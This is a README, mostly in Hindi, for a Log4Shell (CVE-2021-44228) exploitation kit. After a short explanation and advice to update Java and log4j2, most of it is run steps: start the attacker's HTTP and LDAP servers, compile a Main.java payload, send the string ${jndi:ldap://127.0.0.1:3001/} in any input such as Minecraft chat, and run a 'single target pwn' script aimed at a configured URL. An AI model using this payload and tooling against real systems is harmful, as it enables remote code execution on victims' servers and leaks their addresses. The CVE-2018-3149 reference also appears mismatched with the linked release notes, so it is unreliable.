log4j2-prosecutor

प्रेरणा

यह मूलभूत कमजोरी [CVE-2018-3149](https://nvd.nist.gov/vuln/detail/CVE-2018-3149) द्वारा रिपोर्ट की गई थी और [इस लेख (8u121 Release Notes)](https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) द्वारा पैच की गई थी।

हालाँकि, log4j2 नामक जावा की लॉगिंग लाइब्रेरी में (JNDILookup)[CVE-2021-44228](https://github.com/apache/logging-log4j2/blob/20f9a97dbe5928c3b5077bcdd2a22ac92e941655/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java) था, जो LDAP जैसे प्रोटोकॉल तक पहुँच की अनुमति देता था, जिसने पुराने जावा संस्करणों में कोड इंजेक्शन की अनुमति दी।

जावा के पैच किए गए संस्करण कोड इंजेक्शन को रोक सकते हैं, लेकिन `JNDILookup` ldap सर्वर पर अनुरोध करता है, जिससे IP लीक हो सकता है।

समाधान **Java** और **log4j2** संस्करणों को अपडेट करना है।

चलाना

0. आवश्यकताएँ स्थापित करें

cd http-server && npm install && cd ../ldap-server && npm install

1. http-server और ldap-server दोनों चलाएँ

cd http-server && node index.js &
cd ldap-server && node index.js

2. Main.java संकलित करें

# This will generate Main.java - required to code injection .
# OSx
./java-single-compile <Main.java>
# Linux 
javac <Main.java>

3. JVM को पैरामीटर के साथ प्रारंभ करें

# You can still use log4j-client in repo for internal testing.
cd log4j-client &&\
		gradle jar &&\
		java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/log4j-client-1.0-SNAPSHOT.jar
# Or run other application, com.sun.jndi.ldap.object.trustURLCodebase=true required for code injection, otherwise it will only request to ldap server.
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar <javafile.jar>

4. पेलोड को किसी भी पैरामीटर पर पेलोड के रूप में भेजें (In Minecraft, बस चैट करने से यह काम करेगा यदि एक्सप्लॉइट काम कर रहा है।)

${jndi:ldap://127.0.0.1:3001/}

5. सफाई

NODEP=`pgrep node`
for id in $NODEP; do
    kill $id
done

स्क्रिप्ट्स

# Single target pwn
# Edit exploit-configs.txt with url and params
cd scripts/single-pwn && python3 __main__.py

संदर्भ

• https://github.com/apache/logging-log4j2/pull/608
• https://www.lunasec.io/docs/blog/log4j-zero-day/
• https://github.com/NCSC-NL/log4shell
• https://github.com/ilsubyeega/log4j2-exploits/
• https://raw.githubusercontent.com/ferderplays/Log4j_exploit/main/Exploit.java
• https://www.blumira.com/analysis-log4shell-local-trigger/ (करना है)

लाइसेंस [GPL3]

लाइसेंस फ़ाइल LICENSE में देखें